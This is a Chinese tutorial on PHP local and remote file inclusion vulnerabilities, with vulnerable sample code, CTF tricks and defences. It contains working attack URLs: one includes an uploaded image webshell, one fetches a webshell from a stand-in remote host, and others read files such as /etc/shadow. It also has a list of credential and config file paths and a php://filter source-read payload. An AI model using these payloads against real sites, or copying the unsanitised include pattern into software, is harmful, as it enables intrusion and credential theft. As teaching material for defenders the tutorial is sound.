0x01、什么是包含
程序员把一些经常重复利用的函数写到单文件中,在使用一些函数时,直接调用,无须再次编写,这种过程,就叫包含。
0x02、文件包含
程序员为了代码更灵活,会设置一些变量,用来动态调用,由于这种灵活,使客户端可以调用恶意文件,从而造成文件包含漏洞。
本地文件包含(LFI)、远程文件包含(RFL)
0x03、涉及到的危险函数
文件包含可能会出现在JSP,PHP,ASP等语言中。
PHP: include(), include_once, require(), require_once(),fopen(),readfile()
JSP/Servlet: ava.io.File(),Java.io.FileReader()
ASP: include file, include virtual
常见的是php的四个函数include()、include_once()、require()、require_once()
include()、include_once():包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但还是会执行下去
require()、require_once():找不到包含文件产生致命错误,会停止脚本。
Include_once():这个函数跟include()函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
0x04、实例分析
LFI
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include $file;}
?>
<?php
phpinfo();
?>
这样当我们访问的时候就被执行了;
RFI
远程文件包含必须开启远程包含功能选项,在php.ini配置文件中,即allow_url_include=on。Php4存在远程&本地,php5仅存在本地包含。
0x05、常见攻击方法
1)本地包含配合上传拿shell
大多数网站都会有上传功能,上传个图片,假设已上传图片一句话木马,路径为xxx/1.jpg,访问http://www.xxx.com/index.php?file=./xxx/1.jpg
2)远程包含拿shell
这种应该非常少见了吧,目标主机必须保证allow_url_include=on情况,在http://***.com/根目录下有一个一句话木马的txt,访问http://www.xxx.com/index.php?file=http://***.com/ muma.txt
3)读取敏感信息
访问url:http://www.xxx.com/index.php?file=/etc/my.conf
如果存在本文件,他会读出文件的内容……..反之
常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my,ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root
c:\windows\php.ini // php 配置信息
c:\windows\my.ini
……
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
0x06、防御方法
1、代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。采用白名单进行限制
2、在web服务器方面,设定php.ini中open_basedir的值将允许包含的文件限定在某一特定目录内。需要注意的是,open_basedir的值是目录的前缀,如果要限定一个指定的目录,需要最后加上/,例如:open_basedir=/var/www/test、
3、关闭allow_url_fopen和allow_url_include远程包含设置
0x07、CTF常见套路
1、使用../跳跃读取敏感信息,这个比较少见,一般太简单
2、使用伪协议data://或php://input等伪协议php://filter读取index源码–>php://filter/read=convert.base64-encode/resource=index.php
3、%00截断,php5.3之后修复了这种方法;
4、利用远程/本地文件包含漏洞的目的有以下几个:
1) 越权访问文件(/etc/passwd)
1.1) 00截断
1.2) 超长截断
1.3) 目录遍历的攻击方式
2) 任意代码执行
2.1) 通过正常、非正常将一个包含有脚本代码的文件上传到服务器上(常常是.jpg图片格式,将代码藏在图片中),然后在攻击paylaod中引入这个包含脚本代码的文件,使代码得以执行(图片木马)
2.2) 通过包含服务器上的WEB系统原本就存在的.php脚本文件达到改变代码逻辑的目的
2.3) 通过RFI(远程文件包含)将I/O流、协议流的资源描述符作为文件包含的输入源,从而利用HTTP通信将任意代码注入原始的脚本执行空间中
PHP中的封装协议:
http://cn2.php.net/manual/zh/wrappers.php
|
|